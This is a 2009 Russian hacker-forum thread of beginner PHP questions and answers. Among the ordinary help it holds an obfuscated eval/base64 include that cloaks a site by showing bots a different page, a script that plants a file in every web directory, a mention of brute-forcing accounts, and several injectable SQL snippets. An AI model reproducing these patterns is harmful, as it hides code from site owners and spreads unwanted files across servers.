Проверял на трех серваках. Везде вылазит такая болячка, только на одном нормально проинклудилась.
Бразы, подскажите в чем проблема.

m0Hze
26.11.2009, 15:52
?><? include "/home/sites/******/public_html/htdocs/temp.php"; ?><?
Что означают эти штуки? оО Если в самом начале файла,то зачем это - хз.Автар,знаеш что делаеш то вообще?

hackmen
26.11.2009, 15:58
?><? include "/home/sites/******/public_html/htdocs/temp.php"; ?><?
Что означают эти штуки? оО Если в самом начале файла,то зачем это - хз.Автар,знаеш что делаеш то вообще?

Делаю то, что работает ибо не стал постить бы фигню.
Инклудит файл temp.php на проверку ботов. Если бот- то отдает другую страницу, если нет- то продолжает грузить index.php

Скрипт 100 процентов рабочий, так юзается он достаточно обширно.

Может я не правильно расшифровал строку, взятую с рабочего сервера?

<? eval(gzinflate(base64_decode("pZLRboJAEEV/hWxJhBh1nc0OO0Hqh5R2S2HthEIoJEm6q939d0a06dJZm7unDs Zf0smGkHqgSzwTIkBNaoeKY86kCW1wAclNJa3pgaZUwd8VKLFA ZVBKihZitjvIkO9Eg2qvRPIHLjROXZII7XRANJQoV2zUaJAgyp hS5gVeZ0dSztbpOx4vqTsbKqLLVP2Y5uUbY/jSq5SZsbyqz6nbDT2076czGmBMxAs9ntyto6lxBrpWzfRnoYrl to7ZKTkWaTYr5BcrdHZWN0A3+hrWDlGLd2yOrmzA16QAZn0Q1e ZOnjEEca+u9IBM+CVbkFaanUeNVQocb3DZBJvmi7wrdMrUdIhy mgH8gC8d1C0S3h8d7Z6jvi+0XQa/gXpzRMvt13QdMXDuG93l7yH3ofn///dwtgcsipg61c2/4t6zlZrFsa/"))); ?>

Расшифровал как
?><? include "/usr/shared/web/fut181/htdocs/theme.php"; ?><?

harom
26.11.2009, 15:58
подскажите, как сделать выбор случайного числа от 1 до $sum


$result_familiar_id= mysql_query ("SELECT id FROM familiar", $db);
$sum = mysql_num_rows($result_familiar_id)

тобиш мне нужно выбрать случайную статью из базы, где их $sum

b3
26.11.2009, 17:01
$sql_result = $db->query ( "SELECT * FROM " . PREFIX . "_post WHERE approve = '1' ORDER BY RAND() LIMIT 0, 4" );
Как раз вчера делал для ДЛЕ.

harom
26.11.2009, 17:33
$var = rand (1, $sum);

в переменной $var будет случайное число от 1 до $sum (1 и $sum входят)

Luck3r
26.11.2009, 17:43
Делаю то, что работает ибо не стал постить бы фигню.
Инклудит файл temp.php на проверку ботов. Если бот- то отдает другую страницу, если нет- то продолжает грузить index.php

Скрипт 100 процентов рабочий, так юзается он достаточно обширно.

Может я не правильно расшифровал строку, взятую с рабочего сервера?

<? eval(gzinflate(base64_decode("pZLRboJAEEV/hWxJhBh1nc0OO0Hqh5R2S2HthEIoJEm6q939d0a06dJZm7unDs Zf0smGkHqgSzwTIkBNaoeKY86kCW1wAclNJa3pgaZUwd8VKLFA ZVBKihZitjvIkO9Eg2qvRPIHLjROXZII7XRANJQoV2zUaJAgyp hS5gVeZ0dSztbpOx4vqTsbKqLLVP2Y5uUbY/jSq5SZsbyqz6nbDT2076czGmBMxAs9ntyto6lxBrpWzfRnoYrl to7ZKTkWaTYr5BcrdHZWN0A3+hrWDlGLd2yOrmzA16QAZn0Q1e ZOnjEEca+u9IBM+CVbkFaanUeNVQocb3DZBJvmi7wrdMrUdIhy mgH8gC8d1C0S3h8d7Z6jvi+0XQa/gXpzRMvt13QdMXDuG93l7yH3ofn///dwtgcsipg61c2/4t6zlZrFsa/"))); ?>

Расшифровал как
?><? include "/usr/shared/web/fut181/htdocs/theme.php"; ?><?
Ну дык все правильно. У тебя же идет так: <? eval(gzinflate... т.е. если с расшифрокой то получается так:
<?
?><? include "/usr/shared/web/fut181/htdocs/theme.php"; ?><?
?>
В чем вообще проблема то?

Deathdreams
26.11.2009, 21:41
$var = rand (1, $sum);

в переменной $var будет случайное число от 1 до $sum (1 и $sum входят)

$var = mt_rand (1, $sum);

вот теперь 1 и $sum входят.

Adekvatnyj
26.11.2009, 22:21
http://forum.antichat.ru/showpost.php?p=1715587&postcount=13587
Помогите а??

Exploit393
26.11.2009, 22:57
Помогите плиз ачатовцы. У меня такая задача:
Я скачал альбом рамшштайна: а там все песни с перфикмом т.е. стоит номер перед названием каждой песни. т.е.

1-Rammlied.mp3
2-Bshrafe mich.mp3
3-du hast.mp3
................................
Мне надо убрать эти цифры (они меня бесят) и оставить чистсое название.

C++ я уже довно забыл и не стал с ипаца, решил на PHP. Начал кодить, но у меня с регулярками проблема, я их ещё не изучил.

Так вот помогите плиз. Вот набросил.

<?php
$dir=opendir("./");
while(false != ($filename=readdir($dir))
{
а тут помгите составить регулку
}

?>


Если не лень, допищите плиз.

Заранее спс.

svesve
26.11.2009, 23:51
Помогите плиз ачатовцы. У меня такая задача:
Я скачал альбом рамшштайна: а там все песни с перфикмом т.е. стоит номер перед названием каждой песни. т.е.

1-Rammlied.mp3
2-Bshrafe mich.mp3
3-du hast.mp3
................................
......

Заранее спс.


<?php
$dir=opendir("./");
while(false != ($filename=readdir($dir)))
{
if(preg_match('/(\d+)-/',$filename)){
$new_filename=preg_replace('/(\d+)-/','',$filename);
rename($filename,$new_filename);
}
}
?>

Patronik
27.11.2009, 18:40
В состав девера не вошла библиотека php_soap.dll. пожалуйсте киньте ссылку где качнуть php_soap.dll для версии php 5.2.4

m0Hze
27.11.2009, 18:46
а) Качай хампп,там есть,вроверил
б) http://www.dlldll.com/php_soap.dll_download.html

Patronik
27.11.2009, 19:38
По той ссылке что ты дал для версии 5.2.1 а мне надо 5.2.4
Скачаю пожалуй хамп.

Byrger
27.11.2009, 19:43
На удаленном сервере есть директория http://site.ru/image/
и там лежат картинки вида $id.jpg

$id задается из БД

Тоесть запускается скрипт прокрутки БД

While($row=mysql_fetch_array($result)){
//парсер http://site.ru/image/$row[id].jpg
}

Как написать парсер который будет пихать в БД картинку?
Таблица Images столбец img

ANTIHАCK
27.11.2009, 21:52
Есть такой код:

[code]

<?php
$va= $_POST["va"];
?>

Ну вот получили мы эти данные, они в переменной $va как теперь записать эти данные в php файл, скажем во 2 строчку, где написано "ТУТ":

$test = "ТУТ";

?

Patronik
27.11.2009, 21:56
скачал и установил хамп и пока что доволен. Дистрибутив пхп намного лучще чем в денвере.

Patronik
27.11.2009, 22:00
Есть такой код:

[code]

<?php
$va= $_POST["va"];
?>

Ну вот получили мы эти данные, они в переменной $va как теперь записать эти данные в php файл, скажем во 2 строчку, где написано "ТУТ":

$test = "ТУТ";

?


<?php
$va= $_POST["va"];
$test = "ТУТ";

$fp = fopen("test.txt", "w");
fputs ($fp, "\n");
fputs ($fp, "$va");
fputs ($fp, "$test");
fclose($fp);


?>

ANTIHАCK
27.11.2009, 22:19
Как записать функцией fwrite такое:

$host

Только что бы это не определялось как переменная, а так и записалось $host.

Pashkela
27.11.2009, 22:23
fwrite($a, "$" . "host");

mailbrush
27.11.2009, 22:40
fwrite($handle, '$host');

m0Hze
27.11.2009, 22:47
fwrite($a, "$" . "host");
У бруша вариант оптимальней)

b3
28.11.2009, 01:18
fwrite($a, "$" . "host");
:D Экранирование слэшем не в моде?

mailbrush
28.11.2009, 01:57
<?php

set_time_limit(0);

function flush_buffers()
{
ob_end_flush();
@ob_flush();
flush();
ob_start();
}

function get_page($url)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
$res = curl_exec($ch);
return $res;

}

function check_cypr($hostname)
{
$sign = get_sign($hostname);
$pr_cy = get_page('http://www.cy-pr.com/ajax/ajax.php?dod=cypr&url=' . $hostname .
'&site_signature=' . $sign);

preg_match('#(\d+)\|.*\|(\d+)\|.*#', $pr_cy, $pr_cy);
return array('pr' => $pr_cy[2], 'cy' => $pr_cy[1]);
}

function get_sign($hostname)
{
$res = get_page('http://www.cy-pr.com/analysis/' . $hostname);

preg_match('#var site_signature = "([a-z0-9]{32})";#i', $res, $sign);
return $sign[1];

}

?>

<html>

<head>
<title>Mass PR & CY checker</title>
<link rel="stylesheet" type="text/css" href="style.css" />
</head>

<form action="" method="POST">
<table class="f_second" align="center">
<tr><td class="f_second">Введите список сайтов в поле ниже</td>
<tr><td class="f_first"><textarea name="sites" rows="10" cols="110"></textarea></td>
<tr><td colspan="2"><input type="submit" name="check" value="Проверить" class="button"/></td>
</table>
</form>
<table class="second" align="center">
<?php

if (isset($_POST['check']))
{

echo '<tr><td>Сайт</td><td>PR</td><td>тИЦ</td>';
$arrays = array_unique(explode("\r\n", $_POST['sites']));
sort($arrays);
$urls = array_map('trim', $arrays);
$_url = array();
foreach ($urls as $url)
{
$url = parse_url($url, PHP_URL_HOST);
if (!in_array($url, $_url))
{
$vars = check_cypr($url);
echo '<tr><td class="second">' . $url . '</td><td class="first">' . $vars['pr'] .
'</td><td class="first">' . $vars['cy'] . '</td>';
$_url[] = $url;
}
}
}
exit;

?>
</table>

</html>
Набыдлокодил я такой код) Но в PHP есть траблы какие-то с буферизацией, то есть я ввел 500 сайтов, и мне придется ждать, пока все сайты проверит, аж тогда выведется результат. Но мне надо, чтобы выводило по мере проверки, то есть проверило 1 сайт - вывело строчку с этим сайтом и т.д... , поэтому набыдлокодил я такую ф-цию, как flush_buffers(), но куда уже её не тыкал, буфер не стирается) Хелп... куда её кидать то?

m0Hze
28.11.2009, 02:01
<?php

set_time_limit(0);

function flush_buffers()
{
ob_end_flush();
@ob_flush();
flush();
ob_start();
}

function get_page($url)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
$res = curl_exec($ch);
return $res;

}

function check_cypr($hostname)
{
$sign = get_sign($hostname);
$pr_cy = get_page('http://www.cy-pr.com/ajax/ajax.php?dod=cypr&url=' . $hostname .
'&site_signature=' . $sign);

preg_match('#(\d+)\|.*\|(\d+)\|.*#', $pr_cy, $pr_cy);
return array('pr' => $pr_cy[2], 'cy' => $pr_cy[1]);
}

function get_sign($hostname)
{
$res = get_page('http://www.cy-pr.com/analysis/' . $hostname);

preg_match('#var site_signature = "([a-z0-9]{32})";#i', $res, $sign);
return $sign[1];

}

?>

<html>

<head>
<title>Mass PR & CY checker</title>
<link rel="stylesheet" type="text/css" href="style.css" />
</head>

<form action="" method="POST">
<table class="f_second" align="center">
<tr><td class="f_second">Введите список сайтов в поле ниже</td>
<tr><td class="f_first"><textarea name="sites" rows="10" cols="110"></textarea></td>
<tr><td colspan="2"><input type="submit" name="check" value="Проверить" class="button"/></td>
</table>
</form>
<table class="second" align="center">
<?php

if (isset($_POST['check']))
{

echo '<tr><td>Сайт</td><td>PR</td><td>тИЦ</td>';
$arrays = array_unique(explode("\r\n", $_POST['sites']));
sort($arrays);
$urls = array_map('trim', $arrays);
$_url = array();
foreach ($urls as $url)
{
$url = parse_url($url, PHP_URL_HOST);
if (!in_array($url, $_url))
{
$vars = check_cypr($url);
echo '<tr><td class="second">' . $url . '</td><td class="first">' . $vars['pr'] .
'</td><td class="first">' . $vars['cy'] . '</td>';
$_url[] = $url;
}
}
}
exit;

?>
</table>

</html>
Набыдлокодил я такой код) Но в PHP есть траблы какие-то с буферизацией, то есть я ввел 500 сайтов, и мне придется ждать, пока все сайты проверит, аж тогда выведется результат. Но мне надо, чтобы выводило по мере проверки, то есть проверило 1 сайт - вывело строчку с этим сайтом и т.д... , поэтому набыдлокодил я такую ф-цию, как flush_buffers(), но куда уже её не тыкал, буфер не стирается) Хелп... куда её кидать то?
Это уже не php, то браузер.
about:config исчи там про буфер,непомню где в фаере отлючить,но точно что там)

mailbrush
28.11.2009, 02:13
Это уже не php, то браузер.
about:config исчи там про буфер,непомню где в фаере отлючить,но точно что там)
Да нет, это как раз таки PHP. До этого я использовал класс для проверки тИЦ, PR - я подставил в цикле эту ф-цию, и все работало на "ура", а здесь куда бы не ставил - 0 эффекта.

m0Hze
28.11.2009, 09:22
Да нет, это как раз таки PHP. До этого я использовал класс для проверки тИЦ, PR - я подставил в цикле эту ф-цию, и все работало на "ура", а здесь куда бы не ставил - 0 эффекта.
А я тебе говорю это браузер.В 10 опере вроде бы выключена вообще буферизация,попробуй.Теам обсуждалась стопицот раз,и мы пришли к тому.что это браузер.

ANTIHАCK
28.11.2009, 10:22
Почему возникают ошибки:

Пытаюсь установить права:

$de1 = "/install.php";

chmod ('$de1', 0777);

и удалить:

unlink("$de1");

и возникают ошибки:


Warning: chmod() [function.chmod]: No such file or directory in ...блабла....


Warning: unlink(/install.php) [function.unlink]: No such file or directory in ...блабла....

Этот файл находится в корне.

b3
28.11.2009, 10:25
Да я тоже помню в прошлом году, непомню какая опера была 9+, можно было выводить частями, елементарно:

<?php
echo '123';
echo str_pad('',1024)."\r\n";
flush();
sleep(1);
echo '456';
echo str_pad('',1024)."\r\n";
flush();
sleep(1);
?>

У Чаака спер с скрипта Вирустотал проверки. Сейчас такое не катит, но есть же AJAX, так что все ОК.

b3
28.11.2009, 10:38
Почему возникают ошибки:

Пытаюсь установить права:

$de1 = "/install.php";

chmod ('$de1', 0777);

и удалить:

unlink("$de1");

и возникают ошибки:


Warning: chmod() [function.chmod]: No such file or directory in ...блабла....


Warning: unlink(/install.php) [function.unlink]: No such file or directory in ...блабла....

Этот файл находится в корне.

Слэш лишний
$de1 = "/install.php";
Код из 3х строк ужаснейший, зачем ты береш переменную ковычки:
unlink("$de1");
А тут темболее в одинарные:
chmod ('$de1', 0777);
К сведению если ты ставиш слэш в начале имени файла значит путь будет считатся с начала, тоесть :
cd /var/www/ - ты перейдеш в папку www с корня файловвой системы.
cd var/www ты перейдеш в папку www с текушго места, есессно если путь существует, ето относительный путь называется.

ANTIHАCK
28.11.2009, 10:55
Ну вот тут есть ошибки?

$test = "sait.php";
chmod ($test, 0777);
unlink($test);


А то, тоже ошибку выдает.

Warning: chmod() [function.chmod]: Operation not permitted.......
Warning: unlink(test.php) [function.unlink]: Permission denied in........

phpdreamer
28.11.2009, 11:39
права поставь на скрипт 755

ANTIHАCK
28.11.2009, 11:46
Поставил, опять эта херня.. Причем на локалке (ХАМPP) все норм срабатывает, а на хостинге хер.

DeluxeS
28.11.2009, 12:02
Поставил, опять эта херня.. Причем на локалке (ХАМPP) все норм срабатывает, а на хостинге хер.
На папку и на файл 777

m0Hze
28.11.2009, 12:04
Ну вот тут есть ошибки?

$test = "sait.php";
chmod ($test, 0777);
unlink($test);


А то, тоже ошибку выдает.

Warning: chmod() [function.chmod]: Operation not permitted.......
Warning: unlink(test.php) [function.unlink]: Permission denied in........
Прав нет.А вообще,лучще использовать слеш,но только вот так:
"./hello.php";
Тоесть,показываем,что файл в тойже папке что и скрипт.

b3
28.11.2009, 12:33
А еще лучше указывать полный путь к файлу:

<?php
unlink( getcwd().DIRECTORY_SEPARATOR.'file.txt');
?>

m0Hze
28.11.2009, 12:37
А еще лучше указывать полный путь к файлу:

<?php
unlink( getcwd().DIRECTORY_SEPARATOR.'file.txt');
?>

А еще можн поизвращаца с system();
Аля, system("del file")

svesve
28.11.2009, 16:10
Почему возникают ошибки:

Пытаюсь установить права:

$de1 = "/install.php";

chmod ('$de1', 0777);

и удалить:

unlink("$de1");

и возникают ошибки:


Warning: chmod() [function.chmod]: No such file or directory in ...блабла....


Warning: unlink(/install.php) [function.unlink]: No such file or directory in ...блабла....

Этот файл находится в корне.

А вы не думали что файл залитый на сервак лежит от пользователя user:user

а когда вы пыаетесь его удалить или сменить права не по фтп
возможно к нему идет обращение не от того пользователя.

b3
28.11.2009, 20:41
А вы не думали что файл залитый на сервак лежит от пользователя user:user

а когда вы пыаетесь его удалить или сменить права не по фтп
возможно к нему идет обращение не от того пользователя.
Почитай))
http://ru.wikipedia.org/wiki/Chmod
http://ru.wikipedia.org/wiki/Chown
http://ru.wikipedia.org/wiki/Chgrp

если Чмод файла 0777 то даже www-data сможет его unlink, другое дело хватит ли привелегий текущему юзверу на chmod

Byrger
28.11.2009, 21:49
Как разденить число 100000
на такой вид 100 000

Ну и чтоб каждые 3 символа отделялись а не толоько 1 раз...

krypt3r
28.11.2009, 22:09
number_format ($num, 0, '', ' ');

либо регулярка

preg_replace ('/(?<=\d)(?=(\d\d\d)+(?!\d))/', ' ', $str);

#Wolf#
30.11.2009, 12:13
отправляю запрос курлом,
получаю страницу с javascript редиректом.
как быть?

b3
30.11.2009, 12:33
Вопрос не ясен, возвращай результат в переменную и делай дальше что тебе надо, ты же видимо делаеш вывод в браузер и идеш по редиректу, в таком случае сохраняй работу курла в лог.тхт

svesve
30.11.2009, 12:44
отправляю запрос курлом,
получаю страницу с javascript редиректом.
как быть?

стоит?
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

#Wolf#
30.11.2009, 12:46
стоит?
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
да

2b3
а одним "запросом" никак? :o

_gr34t
30.11.2009, 13:10
#Wolf#,

1. Отключи в браузере яваскрипт.
2. Если это совместимо с твоими целями, то перед выводом на экран, делай htmlspecialchars($страница)

_gr34t
30.11.2009, 13:33
Помогите плиз!
Надо, скопировать файл в каждую существующую папку, скажем в папке /home/www
вот мой код:

<?php

$filename = 'favicon.php';
$data = "U29tZSBjb2Rl";

function getdirs($tdir = '.')
{
$alldirs = scandir($tdir);
foreach($alldirs as $dir)
{
if(is_dir($dir))
$dirs[] = $dir;
}
return $dirs;
}

function create($folder = '')
{
global $filename, $data;
if(!empty($folder))
$folder .= '/';
file_put_contents($folder.$filename, $data);
}

create();
$dirs = getdirs();
foreach($dirs as $dir)
{
chdir($dir);
create();
$dirs_2 = getdirs();
foreach($dirs_2 as $dir_2)
{
create($dir_2);
$dirs_3 = getdirs($dir_2);
foreach($dirs_3 as $dir_3)
create($dir_2.'/'.$dir_3);
}
chdir('../');
}
?>


Подскажите, как сделать лучше?

almaz_ko
30.11.2009, 15:30
Люди помогите пожалуйста. Мне нужен скрипт для перенаправления на другой сайт)
Например юзер заходи на сайт www.mysait.ru его сразу же перекидывает на сайт www.mysait1.ru) очень нужно)

m0Hze
30.11.2009, 15:32
Люди помогите пожалуйста. Мне нужен скрипт для перенаправления на другой сайт)
Например юзер заходи на сайт www.mysait.ru его сразу же перекидывает на сайт www.mysait1.ru) очень нужно)

<?php
header("Location: http://tytcsait.ru/");
?>

almaz_ko
30.11.2009, 15:33
Лови +

inlanger
30.11.2009, 15:36
Народ, помогите с такой проблемой. Даже не представляю, с какой стороны начать её решать. Сайт турфирмы. Дата тура может быть записана в виде:
1. Просто даты - 30.11.2009
2. Списка дат - 30.11.2009, 02.12.2009
3. Списка дня недель - вт, чт
4. И промежутка дат - 23.08.2009 - 28.12.2009

Юзер при поиске вводит просто дату, например - 30.11.2009
В результатах поиска ему нужно вывести всё, что ходит в эту дату. Допустим, при варианте записи 1 и 2 довольно легко будет найти данные. А вот как быть с вариантами 3 и 4? Может уже кто-то сталкивался с такой проблемой... Заранее спасибо!

krypt3r
30.11.2009, 16:04
1. ... WHERE `date` = '2009-11-30'
2. ... WHERE `date` IN ('2009-11-30', '2009-12-02')
3. ... WHERE WEEKDAY(`date`) IN (1, 3)
4. ... WHERE `date` BETWEEN '2009-08-23' AND '2009-12-28'

WEEKDAY(date)
Возвращает индекс дня недели для аргумента date (0 =понедельник, 1 = вторник, ... 6 = воскресенье):

restart_05
30.11.2009, 23:14
Как сделать чередования класса s1 s2
Пример:
<tr class="s1">
</tr>
<tr class="s2">
</tr>
<tr class="s1">
</tr>

mr. ZetRikS
30.11.2009, 23:52
Не факт что вопрос в тему ответов для новичков, но всё же...
вот суть проблемы:

есть файл, html страница...
На ней имеется вставка скрипта (JS) который при отображении вставляет блок ссылок. с адресами:
mysite1.com/page.php?key=1234567890Mauisdhwui и чем то подобным...

Так вот, кто нить может помочь со скриптом извлечения ссылок?
Как получить список ссылок с адресом mysite.com/page.........

А дальше я думаю сам разберусь как выбирать рандомно любую ссылку из этого списка...
Заранее спс...

svesve
01.12.2009, 00:21
Как сделать чередования класса s1 s2
Пример:
<tr class="s1">
</tr>
<tr class="s2">
</tr>
<tr class="s1">
</tr>


<?php

$tr=10; // кол-во строк в таблице <tr>

for($i;$i<$tr;$i++){
if ($i%2 == 0) {
$s="s1";
}else{
$s="s2";
}
echo '<tr class="'.$s.'"></tr>';
}

?>
вообщем как-то так

hackmen
01.12.2009, 03:34
Есть txt файл
В нем

| <a href="**********">aaa aaa aaa</a>
| <a href="**********">bbb bbb bbb</a>
| <a href="**********">cccc cccc cccc</a>
| <a href="**********">dddd ddd ddd</a>
| <a href="**********">eeee eeee eee</a>

Нужен скрипт, что бы переделал в вид


| <a href="**********" titel"aaa aaa aaa">aaa aaa aaa</a>
| <a href="**********" titel"bbb bbb bbb">bbb bbb bbb</a>
| <a href="**********" titel"cccc cccc cccc">cccc cccc cccc</a>

Помогите плиз сделать, а то вручную 800 строк ломово делать. Спасибо. С меня ++++

LStr1ke
01.12.2009, 03:49
Криво:

<?php
$lines = file("input.txt");
foreach ($lines as $line)
{
preg_match("#>(.*)</a>#i",$line,$str);
echo preg_replace("#>".$str[1]."</a>#i"," title=\"".$str[1]."\">".$str[1]."</a>",$line);
}
?>

hackmen
01.12.2009, 04:06
LStr1ke
Спасибо, старичек =)

LStr1ke
01.12.2009, 08:53
Не факт что вопрос в тему ответов для новичков, но всё же...
вот суть проблемы:

есть файл, html страница...
На ней имеется вставка скрипта (JS) который при отображении вставляет блок ссылок. с адресами:
mysite1.com/page.php?key=1234567890Mauisdhwui и чем то подобным...

Так вот, кто нить может помочь со скриптом извлечения ссылок?
Как получить список ссылок с адресом mysite.com/page.........

А дальше я думаю сам разберусь как выбирать рандомно любую ссылку из этого списка...
Заранее спс...

дай код JS, возможно нужно просто переписать это на РHP

mr. ZetRikS
01.12.2009, 11:44
LStr1ke, вот содержимое файла.js

document.writeln('Заголовок блока:'+ '
- ссылка номер х
- ссылка номер х
- ссылка номер х
- ссылка номер х
- ссылка номер х
- ссылка номер х
- ссылка номер х'+ ''); function .....

Переписать на php его не получится, так как он хранится на другом сервере...
Если что, вот адрес файла скрипта:
_http://z440.takru.com/in.php?id=448717

Alexander89
01.12.2009, 12:39
в теге script указываеш что это type="text/javascript" ?

LStr1ke
01.12.2009, 12:39
Я просто задание не так понял

preg_match_all("#a href=\"(.*) class=#iU",$input,$out);
print_r($out[1]);

svesve
01.12.2009, 17:29
UP http://forum.antichat.ru/showpost.php?p=1726649&postcount=13647

конечно не вариант но всетаки определить какой акк сбуритлся можно по номеру.

http://slil.ru/28279183

тобишь у тебя будет good3 - значит 4 акк из файла сбуртился на этот пасс.

счет идет с нуля!!!!

конечно не супер но хотябы уже знаешь что-то

b3
01.12.2009, 17:47
Супер, твой вариант отлично подошел, просто вывод нужно было делать не echo $i; а :


var $i;
protected function onLoad($url,$content,$info,$i)
{
if(preg_match('#Login Successfully.#',$content))
echo $this->logins[$i];
$i++;
}

Большое спасибо.

GreenBear
01.12.2009, 18:16
http://ru.php.net/manual/en/function.substr.php

2Fed123
01.12.2009, 19:11
<?php
$site=file("C:site.txt");
$dir=file("C:dir.txt");
$good=@fopen("C:good.txt",w);
$bad=@fopen("C:bad.txt",w);
for($col=count($dir);$col!=0;$col--)
{
$url="http://".$site[0].$dir[$col];
$send=fopen($url,"r");
if (!empty($send))
{
$ok=fwrite($good,$url);
}
else
{
$no=fwrite($bad,$url);
}
echo $col;
}
fclose($good);
fclose($bad);
?>
Немогу понять что не так-
8
Warning: fopen(http://localhost/oscommerce/ettret.html) [function.fopen]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in Z:\home\localhost\www\1.php on line 9
7
Warning: fopen(http://localhost/oscommerce/products.php ) [function.fopen]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in Z:\home\localhost\www\1.php on line 9
6
Warning: fopen(http://localhost/oscommerce/fdfdsfds.php ) [function.fopen]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in Z:\home\localhost\www\1.php on line 9
5
Warning: fopen(http://localhost/oscommerce/asds.php ) [function.fopen]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in Z:\home\localhost\www\1.php on line 9
4
Warning: fopen(http://localhost/oscommerce/download.php ) [function.fopen]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in Z:\home\localhost\www\1.php on line 9
3
Warning: fopen(http://localhost/oscommerce/qwert.php ) [function.fopen]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in Z:\home\localhost\www\1.php on line 9
2
Warning: fopen(http://localhost/oscommerce/index.php ) [function.fopen]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in Z:\home\localhost\www\1.php on line 9
1
Почему говорит что файлы несуществуют?

Deathdreams
01.12.2009, 21:09
2Fed123
Потому что их не существует.

Root-access
01.12.2009, 21:47
<?php
$site=file("C:site.txt");
$dir=file("C:dir.txt");
$good=@fopen("C:good.txt",w);
$bad=@fopen("C:bad.txt",w);
for($col=count($dir);$col!=0;$col--)
{
$url="http://".$site[0].$dir[$col];
$send=fopen($url,"r");
if (!empty($send))
{
$ok=fwrite($good,$url);
}
else
{
$no=fwrite($bad,$url);
}
echo $col;
}
fclose($good);
fclose($bad);
?>
Немогу понять что не так-
8
Warning: fopen(http://localhost/oscommerce/ettret.html) [function.fopen]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in Z:\home\localhost\www\1.php on line 9
7
Warning: fopen(http://localhost/oscommerce/products.php ) [function.fopen]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in Z:\home\localhost\www\1.php on line 9
6
Warning: fopen(http://localhost/oscommerce/fdfdsfds.php ) [function.fopen]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in Z:\home\localhost\www\1.php on line 9
5
Warning: fopen(http://localhost/oscommerce/asds.php ) [function.fopen]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in Z:\home\localhost\www\1.php on line 9
4
Warning: fopen(http://localhost/oscommerce/download.php ) [function.fopen]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in Z:\home\localhost\www\1.php on line 9
3
Warning: fopen(http://localhost/oscommerce/qwert.php ) [function.fopen]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in Z:\home\localhost\www\1.php on line 9
2
Warning: fopen(http://localhost/oscommerce/index.php ) [function.fopen]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in Z:\home\localhost\www\1.php on line 9
1
Почему говорит что файлы несуществуют?

Замени fopen() на @fopen() и не будут ошибки выскакивать, если они тебя так смущают). Кстати код твой изменился. Ты видел мой вариант?
P.S. Хех, ты и здесь, 2FED) //beched

Pr13raK
01.12.2009, 22:05
Подскажите скриптик для подмены ЮзерАгента.
У меня есть чекер сайтов.

Нужно чтобы чекал сайты от Опредленного Юзер Агента, заданного мною.

Dimi4
01.12.2009, 22:29
<?php

$host = "www.google.com";
$path = "/index.php";
$referer = "Referer";
$user_agent = "Mozilla/5.0";

$fp = fsockopen($host,80);

fputs($fp, "GET $path HTTP/1.1\r\n");
fputs($fp, "Host: $host\r\n");
fputs($fp, "Referer: $referer\r\n");
fputs($fp, "User-Agent: $user_agent");
fputs($fp, "Connection: close\r\n\r\n");

?>

Pr13raK
01.12.2009, 23:34
Спасибо Димыч)
лови плюс 5)

правда у меня плюс неГРИНеный) хы
но все же

Stаfford
02.12.2009, 00:02
<?php
include("inc/db.php");
$_POST['name']=$name;
$_POST['pass']=$pass;
$_POST['mail']=$mail;
$query = "INSERT INTO test VALUES ('','$name','$pass','$mail','')";


if(!empty($_POST['name'])){
echo"Вы не заполнили поле - Nick";
}else
{
if(!empty($_POST['pass'])){
echo"Вы не заполнили поле - Pass";
}
else{
if(!empty($_POST['mail'])){
echo"Вы не заполнили поле - Mail";}
else{
if(mysql_query($query)){
echo"Вы успешно зарегистрировались";
}else
{
echo"Ошибка при регистрации";
echo'<br>';
echo mysql_error();
}

}
}
}




?>
В базу не вносятся никакие значения, кроме id :) Помогите о ГУРУ античата :)

Root-access
02.12.2009, 00:07
<?php
include("inc/db.php");
$_POST['name']=$name;
$_POST['pass']=$pass;
$_POST['mail']=$mail;
$query = "INSERT INTO test VALUES ('','$name','$pass','$mail','')";


if(!empty($_POST['name'])){
echo"Вы не заполнили поле - Nick";
}else
{
if(!empty($_POST['pass'])){
echo"Вы не заполнили поле - Pass";
}
else{
if(!empty($_POST['mail'])){
echo"Вы не заполнили поле - Mail";}
else{
if(mysql_query($query)){
echo"Вы успешно зарегистрировались";
}else
{
echo"Ошибка при регистрации";
echo'<br>';
echo mysql_error();
}

}
}
}




?>
В базу не вносятся никакие значения, кроме id :) Помогите о ГУРУ античата :)


Ты забыл сделать сам запрос)

Добавь строчку mysql_query($query);

И ещё: ты наверное забыл и подключить к базе, если это конечно не сделано в скрипте /inc/db.php

Stаfford
02.12.2009, 00:14
Root-Acess, у меня mysql_query($query) находится в if else :) Она там как раз и выполняется :) а проблема в том, что в MySQL все поля кроме id т.к. он у меня автоопределяется, пустые

-=Zhenek=-
02.12.2009, 00:28
<?php
include("inc/db.php");
$name = $_POST['name'];
$pass = $_POST['pass'];
$mail = $_POST['mail'];
$query = "INSERT INTO test(id,name,pass,email,blablabla) VALUES (null,'$name','$pass','$mail','')";


if(!empty($name)){echo"Вы не заполнили поле - Nick<br>"; $err = 1;}
if(!empty($pass)){echo"Вы не заполнили поле - Pass<br>"; $err = 1;}
if(!empty($mail)){echo"Вы не заполнили поле - mail<br>"; $err = 1;}
if($err != 1) {
mysql_query($query) or die(mysql_error());
echo"Вы успешно зарегистрировались";
}else {
echo"Ошибка при регистрации";
}
?>




Попробуй так. Писал не проверяя мог забыть гденить ;

В базе у поля id должно стоять auto_incriment



<?php
$site=file("C:site.txt");
$dir=file("C:dir.txt");
